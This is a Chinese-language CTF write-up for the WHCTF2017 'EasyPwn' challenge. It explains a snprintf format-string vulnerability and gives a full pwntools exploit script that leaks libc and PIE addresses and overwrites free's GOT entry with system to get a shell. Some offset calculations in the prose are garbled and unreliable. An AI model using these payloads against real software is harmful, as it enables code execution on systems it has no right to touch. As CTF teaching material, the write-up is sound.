0%

WHCTF2017-EasyPwn

首先,看一下程序的保护机制

开启了CANARY、NX和PIE,RELRO部分开启,我们可以改写GOT表

然后,我们用IDA分析

read的maxsize参数比变量的空间大小要小,因此无法溢出到栈底,加上开启了PIE,因此排除了ROP的方法

我们再仔细观察一下,发现snprintf在执行的过程中,v2可以溢出到v3,而v3存储的是格式化字符串,因此,我们可以溢出v2,修改格式化字符串,达到任意地址的读写。

我们再看看主函数,

我们可以利用snprintf格式化字符串漏洞,修改free的GOT表,让它指向system,然后我们第二次输入/bin/sh字符串,那么/bin/sh会存到堆里,当调用free(buf),时,就相当于执行了system(binsh_addr),我们就能getshell。

修改free的GOT表时,也有技巧,我们可以只修改后4字节数据,因此free和system在libc中的位置偏差也就那么多,那么它们在内存中的地址,也就最后几字节不一样,我们只需覆盖最后几字节数据即可。这也叫pritiawrite技术。

那么我们首先得让free的GOT表中的地址加载好,那么我们得先调用一次free。

1
2
3
#这一步是为了让free的GOT表内容加载  
sh.sendlineafter('Input Your Code:n','2')  
sh.sendlineafter('Input Your Name:n','test')  

接下来,我们就可以开启啦。

由于开启了PIE,我们得先利用snprintf泄露一些地址。

在我们进入功能1函数前,我们看到栈里有一个__libc_start_main+F0的地址,我们可以利用snprintf把它的值暴露出来。

为什么能够工作?(%s不是在snprintf执行时就传入了吗,%s如果变化了,按理来说不影响snprintf啊)

经过不断的调试,发现,[snprintf把格式化字符串的地址记下来,然后,每次要处理一个字符时,先从地址处取格式化字符串,然后再根据格式化字符串来处理字符。由于地址是没变的,变的是地址里面的内容。]{.mark}

1
2
3
4
5
6
sh.sendlineafter('Input Your Code:n','1')  
#泄露__libc_start_main+F0的地址  
payload = 'a'*(0x3E8)+'bb%397$p'  
sh.sendafter('Welcome To WHCTF2017:n',payload)  
sh.recvuntil('0x')  
__libc_start_main = int(sh.recvuntil('n'),16) - 0xF0  

这里,解释一下payload,前面0x3E0x7F0(v3位置-0x408(v2位置)

注意,接下来的两个字符bb是重要的(不能是aa,即不能与前面的那0x3E8个字符一样,不知道为什么,其他的都可以,有知道的大佬欢迎留言),这是为了覆盖原先的%s,根据上面说的snprintf工作过程,snprintf处理前面0x3E8个字符时,用的都是%s来格式化,当处理第一个b时,此时b已经覆盖了%号,格式化字符串变为bs,当处理第二个b时,此时b覆盖了字符s,格式化字符串变成bb。接下来,%397$p被原模原样的覆盖到了bb的后面,也就是最后,格式化字符串变成了bb%397$p,当snprintf读到格式化字符串为bb%397$p,变打印了bb0x[第397个元素的值]

%397$p就是距栈底397个位置的数据(也就是__libc_start_main+F0),这是如何得到的?

如图,在我们跟踪进入snprintf函数以后,并且还**[未对rsp做调整]{.mark}**时,栈顶rsp为0x7FFD176702D0,然后我们找到__libc_start_main+F0在栈里的位置,为0x7FFD17670F38

那么

(0x7FFD17670F–0x7FFD176702D397

我们利用同样的方法泄露init的地址

那么,现在我们就能计算出程序的加载基地址和libc的加载基地址了

1
2
3
4
5
6
7
8
9
10
11
12
13
libc = LibcSearcher('__libc_start_main',__libc_start_main)  
#获得libc加载基地址  
libc_base = __libc_start_main - libc.dump('__libc_start_main')  
system_addr = libc_base + libc.dump('system')  
print 'system addr=',hex(system_addr)  
sh.sendlineafter('Input Your Code:n','1')  
#泄露init的地址  
payload = 'a'*(0x3E8)+'bb%396$p'  
sh.sendafter('Welcome To WHCTF2017:n',payload)  
sh.recvuntil('0x')  
init_addr = int(sh.recvuntil('n'),16)  
#获得程序的加载基地址,0xDA0为init在二进制文件中的静态地址  
elf_base = init_addr - 0xDA0  

然后,我们得到了基地址,我们就能得到free的GOT表地址和system的地址。

然后,我们该如何来修改free的GOT表呢?

首先,我们不能把p64(addr)放格式化字符串的前面,因为p64(addr)里面有0,会导致snprintf遇到0后就结束,不能读取到我们后来的格式化字符串。

所以必须放后面,类似于这样

1
2
;  
payload =  'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2)  

其中,**%133$hn代表把距栈顶133个位置处的数据当成地址,往那个地址处写一个值,hn表示写一个WORD(字)的数据,也就是2字节数据,并且值表示在这之前,snprintf已经打印了多少个字符,**具体可以去学习一下字符串格式化漏洞的相关知识。

ljust(16,’a’)是为了凑出16字节,格式化字符串可能超过8字节,但不会超过16字节,并且,由于要8字节对齐,所以需要补足。

这个133是如何得到的?

当进入snprintf,当还没变更rsp时,rsp栈顶为0x7FFF4D0A1BE0,然后我们看到我们输入的数据是从7FFF4D0A1C10开始的

于是公式为

(7FFF4D0A1C0x7FFF4D0A1BE(0x3E133

那么,我们最终写出exp脚本如下

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
#coding:utf8  
from pwn import *
from LibcSearcher import *

#context(log_level='debug')
sh = process('./pwn1')
#sh = remote('111.198.29.45',43257)
elf = ELF('./pwn1')

#这一步是为了让free的GOT表内容加载
sh.sendlineafter('Input Your Code:\n','2')
sh.sendlineafter('Input Your Name:\n','test')


sh.sendlineafter('Input Your Code:\n','1')
#泄露__libc_start_main+F0的地址
payload = 'a'*(0x3E8)+'bb%397$p'
sh.sendafter('Welcome To WHCTF2017:\n',payload)
sh.recvuntil('0x')
__libc_start_main = int(sh.recvuntil('\n'),16) - 0xF0

libc = LibcSearcher('__libc_start_main',__libc_start_main)
#获得libc加载基地址
libc_base = __libc_start_main - libc.dump('__libc_start_main')
system_addr = libc_base + libc.dump('system')
print 'system addr=',hex(system_addr)

sh.sendlineafter('Input Your Code:\n','1')
#泄露init的地址
payload = 'a'*(0x3E8)+'bb%396$p'
sh.sendafter('Welcome To WHCTF2017:\n',payload)
sh.recvuntil('0x')

init_addr = int(sh.recvuntil('\n'),16)
#获得程序的加载基地址,0xDA0为init在二进制文件中的静态地址
elf_base = init_addr - 0xDA0
#free的GOT表地址
free_addr = elf_base + elf.got['free']

print 'free_addr=',hex(free_addr)

#以下两步修改free的GOT表内容,让它指向system
sh.sendlineafter('Input Your Code:\n','1')
#覆写倒数的第3、4字节数据
data = (system_addr & 0xFFFFFFFF) >> 16
#那个百分号前的两个aa是为了凑出8字节
payload = 'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr + 2)
sh.sendafter('Welcome To WHCTF2017:\n',payload)

#覆写倒数的2字节数据
data = system_addr & 0xFFFF
sh.sendlineafter('Input Your Code:\n','1')
payload = 'a'*(0x3E8) + ('bb%' + str(data - 0x3FE) + 'c%133$hn').ljust(16,'a') + p64(free_addr)
sh.sendafter('Welcome To WHCTF2017:\n',payload)

#getshell
sh.sendlineafter('Input Your Code:\n','2')
sh.sendlineafter('Input Your Name:\n','/bin/sh')

sh.interactive()